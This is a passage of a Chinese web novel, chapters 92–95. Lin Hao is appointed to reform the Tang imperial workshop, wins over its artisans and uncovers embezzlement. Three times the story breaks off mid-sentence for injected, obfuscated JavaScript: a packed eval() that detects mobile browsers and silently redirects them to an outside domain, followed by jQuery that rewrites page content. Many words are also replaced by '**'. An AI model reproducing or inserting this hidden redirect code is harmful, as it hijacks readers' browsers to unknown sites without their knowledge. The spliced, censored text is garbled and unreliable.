段纶也连忙表态:“陛下,臣负责工部事务多年,深知少府监的弊端。林大人的改革方案若能实施,不仅能解决军械不足的问题,还能大幅增加国库收入!”
李靖继续说道:“陛下,臣恳请您为了军国大计,务必让林大人去整顿少府监。我军急需神机连**这样的利器,不能再等了!”
段纶也跟着说:“陛下,为了内库充盈,臣也恳请您采纳林大人的方案!”
两位实权大臣的同时施压,让殿内的气氛瞬间变了。
御史中丞的脸色变得极其难看。
他万万没想到,林浩竟然用这种方式破局。
表面上是献书请罪,实际上却是在向皇帝展示巨大的利益诱惑。
而且,他还拉拢了李靖和段纶两位重臣作为盟友。
这哪里是认输,分明是在逼宫!
“陛下!”御史中丞急忙出声,“此人献书虽有功,但私藏**之罪不可不罚!”
“对!”其他文官也纷纷附和,“不能因为一点功劳就抵消大罪!”
然而,李世民却没有理会他们,而是继续翻看着手中的册子。
五十万贯的诱惑实在太大了。
更重要的是,这笔钱进入内库,不需要与任何人分享,完全属于他个人。
作为皇帝,他当然希望自己的私人财产越多越好。
“林爱卿,你确定这个方案能带来如此收益?”李世民问道。
“陛下,臣愿以性命担保!”林浩毫不犹豫地回答,“若有半点虚假,臣愿受极刑!”
李靖也跟着说:“陛下,臣也愿以官职担保!”
段纶:“臣也是!”
三位大臣同时担保,这份方案的可信度瞬间提升到了极点。
李世民看了看手中的册子,又看了看殿外长跪的学子,脸上露出了莫测高深的笑容。
“另外,朕决定明日亲临国子监,慰问那些为圣贤之道而长跪的学子们。”
第92章:圣上亲临,将计就计
国子监门外,数百名白衣学子依然跪在青石板上。
“诸位师弟,再坚持一下!”萧景琰声音嘶哑,但眼中闪烁着兴奋的光芒,“刚得到消息,陛下马上就来了!”
“什么?陛下要来?”
“这下林浩彻底完了!”
学子们瞬间精神振奋,原本因为跪了三天而显得萎靡的士气重新燃烧起来。
萧景琰挺直腰板:“陛下亲临,必是要为我们主持公道!诸位,胜利就在眼前!”
远处传来马蹄声和车轮声,皇帝的仪仗队缓缓驶来。
李世民端坐在龙辇之上,身穿明黄龙袍,头戴十二旒冠冕,威严无比。左右护卫着太子李承乾、孔颖达等人,个个脸上都带着得意的笑容。
“恭迎陛下!”萧景琰率先高呼。
“恭迎陛下!”数百学子齐声呼喊,声震四野。
李世民下了龙辇,走到学子们面前,脸上带着慈祥的笑容:“诸位爱卿平身。”
“谢陛下!”学子们依然跪着不动。
萧景琰激动得浑身颤抖:“陛下,学生等为国分忧,为圣贤正名,虽跪地三日,心中无悔!”
“好!好得很!”李世民连连点头,“诸位都是朕的好子民,为了圣贤之道如此执着,朕心甚慰!”
孔颖达上前一步:“陛下,这些学子都是国之栋梁,他们的**情真意切,请陛下明鉴!”
李承乾也趁机说道:“父皇,儿臣以为,学子们的诉求合情合理,还请父皇三思。”
李世民沉吟片刻,缓缓开口:“朕已详细查看了诸位的**,也仔细思考了此事。”
萧景琰眼中闪过兴奋:“陛下圣明!”
“朕以为,诸位为圣贤之道而长跪,精神可嘉。”李世民的声音在人群中回荡,“尊崇孔孟,这是天经地义的事情。”
学子们个个面露喜色,以为胜利在望。
孔颖达抚须笑道:“陛下英明!儒家正统当兴,奇技淫巧当废!”
然而,李世民话锋一转:“但是,朕也不能不查。既然诸位说林浩私藏**,那朕就要彻查到底。”
萧景琰心中暗喜,这正是他们想要的结果。
“朕已命林浩献出墨家手稿,现在朕要将此书交给一个最可靠的地方进行封存和研究。”李世民继续说道。
孔颖达连忙接话:“陛下,臣愿代为保管此书,确保其不再流传!”
“不。”李世民摆手,“此书事关重大,必须交给最合适的部门处理。”
萧景琰心中疑惑,什么部门比国子监更合适?
李世民环视一圈,最后目光落在林浩身上:“朕决定,正式任命林浩为少府监少监!”
什么?
现场瞬间鸦雀无声,所有人都瞪大了眼睛。
孔颖达脸色大变:“陛下,这……这是为何?”
李世民神色淡然:“少府监本就是皇家工坊,负责为朕制造各种器物。由它来研究和保管朕收缴的**,名正言顺。”
萧景琰急了:“陛下!林浩私藏**,理应严惩,怎能升官?”
“萧学子此言差矣。”李世民看着他,“朕不是在奖赏林浩,而是要他戴罪立功。”
李承乾皱眉:“父皇,此话怎讲?”
李世民缓缓说道:“少府监积弊已久,工艺落后,效率低下。朕要林浩带着这本墨家手稿去那里,按图索骥,看看他的那些‘奇技淫巧’到底能不能为国创造效益。”
孔颖达心中暗骂,这不是明摆着要林浩去改革少府监吗?
“若他能让少府监焕然一新,那说明这本书确有价值,朕就网开一面。”
李世民继续道,“若他做不到,那就证明墨家之学确实无用,到时朕自会严惩。”
萧景琰急得额头冒汗:“陛下,万万不可!少府监关系国计民生,岂能交给一个罪人?”
“萧学子,你这话就说错了。”李世民看着他,“朕任命林浩为少监,正是要让他在众目睽睽之下接受考验。”
孔颖达也急了:“陛下,少府监历来由世家把持,若让林浩进去,必然会……”
话说到一半,他突然闭嘴了。
因为他意识到,自己说漏了嘴。
李世民眯起眼睛:“必然会什么?”
孔颖达冷汗直冒:“臣……臣是说……”
“祭酒大人是担心林浩会触动某些人的利益吧?”李世民的声音变得有些冷,“难道少府监真有什么见不得人的勾当?”
现场气氛瞬间变得凝重起来。
众人这才意识到,皇帝这是要借林浩的手,清理少府监里的积弊。
李承乾脸色发白,少府监里有太多**的人,林浩进去,岂不是要大开杀戒?
“父皇,儿臣以为,此事还需从长计议……”
“不必了。”李世民一挥手,“朕意已决
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391660|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。传朕旨意,任命林浩为少府监少监,即日上任!”
林浩上前接旨:“臣林浩,谢主隆恩!”
萧景琰看着这一幕,整个人都傻了。
他们闹了半天,不但没有扳倒林浩,反而给他送了一个大官?
“陛下,这……这不公平!”一名学子忍不住喊道。
李世民看向他:“哪里不公平?”
“我们要求严惩林浩,您却给他升官!”
“朕说了,这不是升官,这是戴罪立功。”李世民的声音变得严厉,“少府监是个什么地方,你们知道吗?”
学子们面面相觑,还真不太清楚。
“那里积弊如山,贪腐成风,历任少监都干不了几年就被撤职。”李世民冷笑,“朕让林浩去那里,是要他用实际行动证明自己。”
孔颖达心中苦涩,少府监确实是个烂摊子,但同时也是个油水丰厚的肥缺。
皇帝这是要林浩去那里火中取栗。
“若他能把少府监整顿好,那说明墨家之学确有可取之处。”李世民继续说道,“若他搞砸了,朕就把他和那本**一起烧掉!”
这话说得够狠,但所有人都听出了潜台词。
皇帝是要林浩去少府监大干一场。
林浩平静地说道:“陛下,臣必不负圣望,定当竭尽全力,整顿少府监!”
“好!朕等着看你的表现!”李世民点头。
萧景琰彻底绝望了,他万万没想到,自己精心策划的这场闹剧,最终却成全了林浩。
“诸位学子,都起来吧。”李世民对跪在地上的学子们说道,“你们的诉求朕已经听到了,朕会让林浩在少府监接受最严格的考验。”
学子们你看我,我看你,都不知道该怎么办了。
他们本来是来讨伐林浩的,结果却眼睁睁看着他升官。
这场****,简直就是个笑话。
孔颖达脸色铁青,但又不敢再说什么。
皇帝的话已经很明确了,再反对就是质疑圣意。
李承乾也是心中憋闷,但同样不敢表态。
就在这时,一名禁军急匆匆跑来:“陛下,大理寺有急报!”
李世民皱眉:“什么急报?”
“回陛下,关押在大理寺的妖道玄机子,死前留下一份**!”
“**?写的什么?”
禁军咽了咽口水:“**上只有五个字——少府监有鬼!”
第93章:有鬼?那我就是来捉鬼的阎王
翌日,太极殿。
天光刚透过窗棂,朝堂上的气氛便已紧绷如弦。
太子李承乾身着紫袍,从队列中走出,手里捧着一卷奏章,神情肃穆。
“父皇,儿臣有本启奏!”
李世民坐在龙椅上,抬了抬眼皮,示意他继续。
“昨日大理寺传来玄机子**,言明‘少府监有鬼’。父皇,少府监乃皇家工坊,铸钱造器,事关国本!如今妖人临死前留下此等谶言,儿臣以为,此乃大凶之兆啊!”
李承乾的声音在殿内回响,带着一股子悲天悯人的腔调,“林浩此人,本就因私藏墨家**而饱受非议,此刻让他接手这个‘有鬼’的衙门,岂不是引狼**,恐酿成大祸!”
话音刚落,国子监祭酒孔颖达立刻跟进:
“陛下,太子殿下所言,乃金玉良言!少府监积弊已久不假,但拨乱反正,当遣德高望重之臣。林浩年纪轻轻,又身陷‘墨逆’风波,让他去,只会让天下士子之心,再次寒透啊!”
御史中丞也跟着跳了出来,一脸的痛心疾首:“陛下,妖人**,天降示警!请陛下顺应天意,三思而行,收回成命!”
一时间,太子一系的文官们纷纷出列附和,言辞恳切,仿佛林浩一脚踏进少府监,大唐的江山就要塌了一角。
“陛下,不可啊!”
“请陛下为江山社稷计!”
李世民看着底下这群唾沫横飞的大臣,脸上没什么表情,只是端起茶杯,轻轻吹了吹浮沫。
“都说完了?”
他放下茶杯,发出一声轻响,整个大殿瞬间安静下来。
“一群读书人,懂个屁!”
一声粗豪的嗓门炸响,程咬金从武将队列里跨了出来,铜铃大的眼睛瞪着那群文官,“什么鬼不鬼的,俺老程看,那玄机子就是个满嘴喷粪的江湖骗子!他死前放个屁,你们也当圣旨听?”
尉迟恭紧随其后,瓮声瓮气地哼了一声:“说什么有鬼,我看是有贼!少府监那地方,水深得能淹**,正好让林大人这块巨石丢进去,看看能砸出多少王八来!”
卫国公李靖缓步出列,他不像程咬金那般粗豪,声音沉稳却字字千钧。
“陛下,臣以为,越是传言有鬼,越该派能人去查。林大人以格物之法破妖道之术,心思缜密,手段超凡,正是勘破这鬼魅伎俩的不二人选。”
朝堂之上,文武两派泾渭分明,吵得不可开交。
李世民终于抬了抬手。
“够了。”
帝王淡淡的两个字,比任何咆哮都管用。
他扫视全场,最后目光在太子李承乾的脸上停顿了一瞬。
“诸位爱卿所言,朕都听到了。”李世民的声音平静地在大殿内回荡,“既然有人说少府监有鬼,那朕,就派个人去捉鬼。”
李承乾心中一喜,以为父皇终于要松口了。
谁知,李世民话锋陡然一转:“林浩,既然你敢碰那本墨家**,想必也不怕什么牛鬼蛇神。朕不仅不收回成命,朕还要再给你加一道口谕!”
“传朕口谕:命林浩为少府监少监,彻查少府监鬼之所在!朕,赐你先斩后奏之权!”
轰!
先斩后奏!
这是何等的信任,又是何等的权力!
孔颖达的脸刷地一下白了,嘴唇哆嗦着:“陛下,万万不可!先斩后奏之权,非同小可,岂可轻授于一黄口小儿!”
李世民冷哼一声,龙椅的扶手被他拍得闷响。
“朕的少府监,朕说了算!”他盯着林浩,“不过林浩,朕也给你立个军令状。”
林浩出列,躬身行礼。
“臣,听旨。”
“三个月!朕只给你三个月时间!若少府监在你的手里,还是那副半死不活的样子,朕就把你和那些藏在阴沟里的‘鬼’,一起清理干净!”
李世民的声音里透着森然杀意,“到时候,私藏**的旧账,和整顿不力的新账,咱们一起算!”
这番话,既是授权,也是最后通牒。
**的人彻底没了声音,一个个噤若寒蝉。
皇帝这哪里是要查鬼,分明是铁了心要用林浩这把快刀,去刮少府监这块烂疮疤!
谁再多说一句,就是挡了皇帝的路。
林浩抬起头,神色平静地接下了这份重逾千钧的旨意。
“臣领旨。三个月内,少府监若不脱胎换骨,臣提头来见!”
……
退朝后,林浩在无数道复杂目光的注视下,径直来到了位于长安城东的少府监衙门。
这片建筑群规模不小,但隔着老远就能闻到一股子衰败的气息。
门口的石狮子布满青苔,朱漆大门斑驳得露出了木头本色,连“少府监”那块金字牌匾都歪歪斜斜,挂着几缕蛛网,在风中摇摇欲坠。
“哎哟!林少监大驾光临,有失远迎,恕罪恕罪!”
一个圆滚滚的身影从门里挤了出来,脸上堆满了笑。
此人正是少府监监丞赵德胜,**的资深成员。
“下官赵德胜,见过林少监。”赵德胜拱了拱手,胖脸上的肉挤成一团,“衙门里简陋,可委屈侯爷您了。”
林浩点了点头,没接他的话茬,迈步走了进去。
衙署内部更是破败。
院子里的地砖缝里长满了杂草,空气中弥漫着一股铁锈、木屑和潮湿霉变混合在一起的古怪味道。
赵德胜领着林浩到的公房,在最偏僻的角落,推开门,一股尘土味扑面而来。
房里只有一张缺了角的破桌子和几把吱呀作响的椅子,桌上积了能写字的灰。
“林少监,您看这地儿还凑合吧?”赵德胜笑呵呵地问,“要不,下官给您找个丫鬟来拾掇拾掇?”
“不必了。”林浩径直走到那张最破的椅子前坐下,“去,把少府监所有的官吏、工匠,全都叫到院子里来,本官要训话。”
“这……”赵德胜脸上的肥肉抽动了一下,露出为难的神色,“林少监,眼下正是午饭的点儿,大伙儿都……”
“现在,就去。”
林浩的声音不高,却让赵德胜后面的话全堵在了喉咙里。
“是,是,下官这就去安排。”
赵德胜心里骂骂咧咧,脸上却不敢有丝毫表露,哈着腰退了出去。
半个时辰后,少府监的广场上稀稀拉拉地**了近百号人。
穿着干净
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391661|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吏服的官吏们聚在一堆,交头接耳,不时朝林浩这边指指点点。
而那些穿着粗布短打、浑身油污的工匠们则远远地站在另一边,个个抱着胳膊冷眼旁观。
林浩走上台阶,目光从一张张脸上扫过。
好奇、不屑、敌视、麻木……唯独没有友善。
“我叫林浩,新来的少监。”林浩开口,声音清晰地传到每个人耳朵里,“从今天起,大家就在一个锅里吃饭了。”
底下顿时响起一阵嗡嗡的议论声。
突然,一个满脸褶子、胡须花白的老工匠从人群里站了出来,他身上穿着磨得发亮的皮围裙,一开口,声音如同破锣。
“林少监,老朽有句话,不知当讲不当讲。”
“讲。”
“老朽在这少府监,抡了三十多年的锤子,见过的上官没有一百也有八十。”
老工匠仰着头,布满老茧的双手背在身后,“可这么年轻的上官,还是头一回见。就是不知道,少监大人您……可看得懂我们这些粗人手里的活计?”
这话问得直接,近乎挑衅。
工匠那边的人群里,不少人都跟着点了点头,显然,这是他们所有人心里的疑问。
赵德胜站在一旁,嘴角偷偷撇了撇,准备看好戏。
这老家伙叫张铁山,是工匠里的头儿,出了名的茅坑石头又臭又硬,专好给新上官找不痛快。
这下马威,看你个毛头小子怎么接!
所有人都以为林浩会勃然大怒,或是说些场面话来立威。
谁知,林浩只是静静地看着张铁山,然后,他点了点头。
“知道了。”
就这么两个字。
众人全都愣住了。
张铁山也梗着脖子,准备好的一肚子话全憋了回去,一时间不知该如何是好。
“还有别的事吗?”林浩又问。
全场鸦雀无声。
这反应,完全不按套路来啊!
“没有的话,就都散了吧。”林浩挥了挥手,“该吃饭吃饭,该干活干活。”
说完,他转身就走,留下广场上近百号人面面相觑,满头雾水。
这位新来的少监,葫芦里到底卖的什么药?
赵德胜也懵了,他凑上前去:“林少监,您看接下来……”
“我先四处转转,熟悉熟悉。”林浩丢下一句话,头也不回地走向后院,“没事别来烦我。”
看着林浩远去的背影,赵德胜和几个心腹凑到了一起。
“监丞,这小子……什么路数?”一个主簿小声问。
“管他什么路数!”赵德胜不屑地啐了一口,“我看就是个被吓破胆的黄口小儿,连个屁都不敢放!”
“说得是!就他这样,还想整顿少府监?做梦!”
“咱们就等着看笑话,不出三天,他自己就得哭着鼻子滚蛋!”
几人低声说笑着,压根没把这个新上司放在眼里。
……
夜色如墨,整个少府监陷入一片死寂。
一道黑影如狸猫般悄无声息地翻过高墙,几个起落,便熟门熟路地摸到了衙署最深处的档案库房。
库房的门锁传来一声极轻微的“咔哒”声,黑影闪身而入。
第94章:你当我是来养老,三把火烧懵贪官
天色刚透出鱼肚白,少府监监丞赵德胜便打着哈欠走进了院子。
他昨夜在平康坊听曲到了半夜,此刻还睡眼惺忪。
按照惯例,他得先去账房那边假模假样地转一圈,点个卯,然后就可以溜去相熟的茶楼,听着评书,喝着热茶,一直耗到下午再回来。
至于那个新来的少监林浩?
赵德胜撇了撇嘴。
一个**都没长齐的黄口小儿,得罪了满朝的清流儒臣,被陛下明升暗降地发配到少府监这个烂泥坑里,能不能熬过“儒墨大比”都是两说。现在估计还在被窝里,为自己的前途发愁呢。
他背着手,慢悠悠地晃荡着,心里盘算着今天中午该点哪家的羊肉泡馍。
谁知刚拐过一个弯,脚步就顿住了。
前方不远处,正是少府监那臭气熏天的茅厕群。
而那个他以为还在做梦的凉州侯、新任少监林浩,正和那个瘸腿的墨家小子蹲在地上,一人拿着炭笔,一人拿着草纸,对着那污秽不堪的茅厕写写画画。
空气中弥漫的恶臭,熏得人几乎要窒息,苍蝇嗡嗡地盘旋。
赵德胜下意识地捂住了鼻子,眉头拧成了一个疙瘩。
这是在干什么?
他满心纳闷,强忍着不适凑了过去。
“林少监,您……您这是?”
林浩头也没抬,炭笔在草纸上飞速勾勒着线条和符号,嘴里蹦出两个字:“测量。”
他身边的墨顿则拿着一根标尺,紧张又专注地量着茅厕坑道的宽度和深度,不时报出一串数字。
赵德胜眼角抽搐了一下,几乎以为自己听错了:“测量……茅厕?”
“改造。”
林浩终于画完了最后一笔,站起身,随意地拍了拍手上的灰尘,“三天,就按这张图纸,把少府监所有的茅厕都给我拆了重建。”
赵德胜彻底愣住了。
他在这少府监当了快十年的监丞,迎来送往的上司没十个也有八个。
有雷厉风行,一上任就整顿吏治的;有长袖善舞,先拉拢人心再徐图大计的;更有纯粹来镀金混资历,什么都不管的。
可新官上任第一把火,烧向茅厕的,这林浩绝对是古往今来头一个!
“还有那个。”林浩的下巴朝着不远处那间黑黢黢的伙房一扬,“通知下去,从明天开始,食堂加菜,顿顿有肉。”
赵德胜感觉自己的脑子有点不够用了。
改茅厕?顿顿有肉?这小子是被贬到这里,受了刺激,脑子坏掉了?
“少监大人,”
赵德胜斟酌着词句,“您这……是不是有点大材小用了?咱们这庙小,经不起您这么折腾。再说了,您一来就关心这些吃喝拉撒的琐事,传出去,怕是……怕是让人笑话您不务正业啊。”
“不务正业?”
林浩笑了,转过身看着这个满脸写着“你是不是傻”的监丞,“赵监丞,我问你,工匠们吃不饱、拉不净,整日泡在这恶臭污秽里,他们能有精神打造出精良的军械吗?一个地方的精气神,先看它的茅厕。连最基本的干净都做不到,还谈何强国利器?”
这番歪理邪说,让饱读官场哲学的赵德胜一时竟无言以对。
他只能眼睁睁地看着林浩带着墨顿,走向下一个茅厕,继续他们那荒唐的“测量”工作。
“疯了,真是疯了。”
赵德胜摇着头,转身就走。
他得赶紧把这个天大的笑话,告诉手下那帮人。
不到半个时辰,消息就传遍了少府监的每一个角落。
官吏们所在的官厅里,瞬间炸开了锅。
“听说了吗?新少监要花大力气整改茅厕!”
“还说要让工匠们顿顿吃上肉!他当国库的银子是大风刮来的?”
“我看他就是个愣头青,真以为这里是他的凉州侯府,想一出是一出。”
“可不是嘛,新官上任三把火,哪有烧茅厕的?不立威,反倒去关心那些下九流的匠户,成何体统!等着吧,等段尚书问起新军械的进度,看他怎么交代!”
赵德胜坐在上首,听着众人的议论,得意地捻着胡须。
“我就说嘛,一个黄口小儿,能有什么手段?等着看好戏就是了。”
然而,与官吏们的嘲讽截然不同,工匠区掀起的,却是滔天巨浪。
“什么?改茅厕?!”正在打铁的张铁山停下手中的锤子,满是老茧的脸上写满了震惊。
“老张,你听见没?新来的大人说,从明天起,顿顿有肉吃!”一个年轻工匠凑过来,使劲咽了口唾沫,眼睛里放着光。
要知道,少府监的茅厕,夏天能熏死一头牛。
至于伙食,更是十年如一日的稀粥配黑咸菜,能见到几点油星子都算过年了。
现在,这个年轻得过分的侯爷一开口,就是要改变这一切。
这对于整日劳作在最底层的工匠们来说,简直不亚于天降甘霖。
“老张,你说这事……靠谱吗?”
有人心里没底,跑来问这位德高望重的老匠头。
张铁山摸着自己花白的胡子,沉默了许久。
他在这儿干了三十多年,形形**的上司见得多了,可像林浩这样的,真是第一次见。
“先看看再说。”最终,他还是给出了一个最稳妥的回答。
到了下午,林浩的第一道正式命令,由墨顿拿着一张画满了奇怪符号的图纸,在工匠区当众宣读。
“少监令:三日之内,所有工匠,须按照图纸要求,改造少府监全部茅厕!建立引水、冲水及排污系统!所需物料,由少监府统一采买,直接支付,任何人不得延误、克扣!”
图纸被钉在木板上,工匠们呼啦一下全围了上去。
上面画得清清楚楚,哪里挖沟,哪里铺设陶管,怎么利用高低差引来活水,污物又如何通过暗渠排出……
那精巧的结构,看得一群经验丰富的工匠个个瞠目结舌。
“乖乖,这……这是啥?冲水茅厕?”
“水往高处走?还能这样引水?”
“你们看这个管道设计,嘿,有点门道啊!”
就在众人议论纷纷,对这“神仙图纸”啧啧称奇时,林浩的第二道命令紧随而至。
“少监令:即日起,改善所有工匠伙食!标准,干饭管够,顿顿见肉!若有克扣,严惩不贷!”
第二天清晨,当工匠们走进食堂时,所有人都愣住了。
往日那股酸馊味不见了,取而代之的是浓郁的肉香。
大木桶里,不再是清汤寡水的稀粥,而是粒粒分明的白米干饭。
旁边的菜盆里,一大盆红烧肉油光锃亮,旁边还有一盆青菜豆腐。
“天哪!真的……真的有肉!”
一个年轻工匠颤抖着夹起一块肥瘦相间的肉,塞进嘴里,幸福得差点哭出来。
整个食堂先是死寂,随即爆发出巨大的欢呼声。
工匠们疯了一样涌向饭盆,狼吞虎咽,吃得满嘴是油。
张铁山端着一碗堆成小山的饭和肉,坐到角落。
他咬下一大口肉,咀嚼着,粗糙的脸上神情复杂。
他在这里干了一辈子,还是第一次吃上这样扎实的饭菜。
这个年轻的侯爷,好像……和别人真的不一样。
到了第三天,林浩的第三道命令来了。
这一次,他亲自站在了所有工匠面前,手里拿着一张表格和一个新打制的木箱。
“从今天起,少府监,实行新的薪酬制度。”
他指了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391662|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
指身边的木箱子,“按件计酬,多劳多得!”
“这是考勤箱。每日卯时来,将自己的名牌投入箱中。酉时走,再将名牌取回。凡全月无缺勤者,月底有全勤奖金。”
“至于工钱,每打造一件合格的兵器、甲胄,都有明确的工价。干得多,拿得多;干得少,拿得少。偷奸耍滑、滥竽充数的,别说奖金,工钱都拿不全!”
这话一出,人群的反应截然不同。
那些年轻力壮、手艺精湛的工匠,眼睛瞬间亮了。
他们早就受够了干好干坏一个样的大锅饭。
而那些平日里就爱磨洋工、倚老卖老的老油条们,脸色却瞬间沉了下去。
“胡闹!”一个叫刘三的驼背老工匠跳了出来,他是在这里混了二十年的老油子了,“祖宗之法不可变!凭什么你说改就改?”
“就是!我们在这里干了一辈子,凭什么要听你一个毛头小子的?”几个老家伙立刻聚在一起,试图煽动众人。
“他这是要累死我们这些老骨头,好让他自己的人顶上来!”刘三声嘶力竭地喊道。
但他们很快发现,响应者寥寥。
改善伙食和环境是实实在在的好处,多勞多得更是给了绝大多数人盼头。
张铁山看着这一幕,默默地站到了那些年轻工匠的身后,表明了自己的态度。
林浩看着那几个上蹿下跳的老油条,冷笑一声。他走到张铁山身边,又指了指他身旁一个年轻的徒弟,然后用手指着刘三。
“张老,你一天能锻打多少把横刀?”
张铁山瓮声瓮气地回答:“若是材料足够,至少五把。”
林浩又问那个年轻工匠:“你呢?”
“回大人,弟子手快,能打七把!”
林浩点点头,最后看向刘三,声音陡然拔高:“刘三,我问你,你昨天一天,打了多少把?”
刘三的脸涨成了猪肝色,支支吾吾说不出话来。
旁边有人替他回答了:“回大人,他昨天就磨出了一把!”
林-浩环视全场,朗声道:“一个打七把,一个打五把,一个只打一把!以前,你们拿的工钱却都差不多!我来问问大家,这,公平吗?!”
“不公平!”年轻工匠们齐声怒吼,声音震天。
刘三等几个老油条在众人的怒视下,被彻底孤立,灰溜溜地缩回了人群。
赵德胜站在远处,脸色阴沉得能滴出水来。
他原以为林浩是个软柿子,没想到对方不按常理出牌,这三板斧下来,竟是阳谋!
用最直接的利益,收买人心,分化瓦解,瞬间就将整个工匠群体的掌控权夺了过去!
这手段,比那些只懂杀鸡儆猴的蠢货,高明了何止十倍!
“监丞大人,”一个心腹凑过来,声音发颤,“这小子……玩的是攻心计啊。”
“哼。”赵德胜从牙缝里挤出一声冷笑,“收买人心谁不会?关键还得看政绩!皇上要的是神兵利器,不是干净的茅厕和肥头大耳的工匠!等陛下问责,看他拿什么交代!”
就在赵德胜咒骂的时候,林浩已经回到了自己的官房。
墨顿抱着一摞厚厚的账本跟在后面,小心翼翼地放在桌上。
“老师,工部尚书段大人派人送来的,说是您要的东西。绕开了咱们这的账房,直接从工部调的原始记录。”
林浩翻开第一本,纸张已经泛黄,上面用蝇头小楷密密麻麻地记录着过去五年的物料采买和入库数目。
段纶,这个人情他记下了。
他一页一页地翻看着,手指在纸上缓缓划过。
当翻到某一页时,他的手指突然停住了。
“墨顿,把笔拿来。”
“你看这笔,有意思了。”
第95章:等我出丑?这是我的抓鬼现场好不
昏暗的官房里,油灯的火苗无力地跳动着。
空气中,陈年纸张的霉味、灰尘的腥气和熬夜带来的酸腐气息混杂在一起,几乎令人窒息。
林浩和墨顿在这里整整熬了两个通宵。
墨顿的眼眶深陷,熬出的血丝像是蛛网一样爬满了眼白。
他手中的算筹因为彻夜不停的拨弄,已经被手汗浸得油光发亮。
“啪嗒。”
最后一根算筹被拨到位,墨顿的手剧烈地一颤,算筹从指间滑落,掉在地上。
他却浑然不觉,只是死死地盯着草纸上那个用炭笔写下的最终结果。
“老师……又对了一遍,还是这个数。”
林浩没有作声。他靠在椅背上,两天两夜的殚精竭虑让他脸色苍白。
墨顿伸出颤抖的手指,点在那个最终的数字上:“过去三年,所有物料采买,价高三成。弓弦、铁料、木材……无一例外。”
“最骇人的是损耗。每买十石铁料,入册便损耗两石。每百张牛皮,必有三十张因瑕疵而废。”
“可我们根据成品入库反推,这些损耗,子虚乌有!”
“三十万贯……老师,整整三十万贯的亏空!这……这足够再装备一支玄甲军了!”
三十万贯!
这个数字砸在心头,比程咬金的开山巨斧还要沉重。
这哪里是贪腐?
这是一个盘踞在少府监内部,疯狂吸食着大唐血肉的巨大怪物。
玄机子临死前说的“鬼”,根本不是什么谶言,而是由无数贪婪的人心汇聚而成的魔鬼。
监丞赵德胜,不过是这魔鬼身上一块流脓的烂肉。
他背后,必然牵扯着一张足以遮天的巨网。
直接上报李世民?
念头一闪而过,随即被林浩掐灭。
把这本烂账丢到皇帝面前,赵德胜和一干小鱼小虾必死无疑。
但然后呢?
背后的大鱼会立刻斩断所有线索,丢车保帅。
这三十万贯的巨款,也会随着无数人头的落地,彻底变成一笔死账,再也追不回来。
李世民要的是一个每年能为他赚五十万贯的聚宝盆,不是一个只会告状的御史。
林浩缓缓站起身,拿起那张写着惊天数字的草纸,凑到油灯前。
火苗“呼”地一下舔上纸张,瞬间将其吞噬。
“老师,您这是?”墨顿大惊失色。
一缕青烟升起,带着墨迹的灰烬飘散在空气中。
橘色的火光映在林浩的脸上:“证据不在纸上。”
“在人心里。我要他们自己,把吃下去的东西,连本带利地吐出来。”
“墨顿,传我的话。”
“就说我凉州侯林浩,改良神机连**已有突破。十日之后,将在少府监的演武场,公开试射!”
“公开试射?”墨顿彻底懵了,“可是老师,我们的图纸才刚画好,很多关键部件的试样都还没做出来……”
林浩冷笑一声:“谁说我要真的造出来了?”
“我要的,是搭一个全长安城最大的戏台。台子够大,来看戏的人才够多。那些藏在暗处的鬼,才坐不住,才会自己从阴沟里爬出来。”
……
“什么?林浩说他十天后要公开试射神机连**?”
太极殿的偏殿里,太子李承乾听到这个消息,先是一愣,随即哈哈大笑起来,笑得前仰后合。
“孤没听错吧?他当神兵利器是什么?街边摊贩的糖人吗?说捏一个就捏一个?他疯了!真是狂妄到了极点!”
一旁的孔颖达捻着胡须,老脸上满是鄙夷:“竖子无知,哗众取宠罢了。神机连**乃国之重器,岂是十天半月就能改良的?此乃自掘坟墓!殿下且等着,十日之后,便是他身败名裂之时!”
“没错!到时候看他怎么对父皇交代,如何对满朝文武交代!”一名**的官员立刻附和。
李承乾笑声一收,脸上浮现出一抹阴狠。
“去,传话给赵德胜,让他好好配合林少监。林浩要什么,就给他什么,要人给人,要钱给钱!千万别让他事后有任何借口!本宫倒要看看,十天后,他能从裤裆里变出个什么玩意儿来!”
消息如同长了翅膀,一天之内就飞遍了长安城。
兵部尚书府,正在沙盘上推演战局的李靖闻言,一把扫空了所有棋子,沉声对副将下令:“备马!本帅要亲自去少府监看看!”
工部尚书府,段纶则直接叫来了几位最得力的下属:“这十天,你们什么都别干,就守在少府监外面!林少监但有需求,无论是材料还是工匠,工部全力调拨,不得有误!”
一时间,整个长安城的目光,都聚焦在了那座破败不堪的少府监。
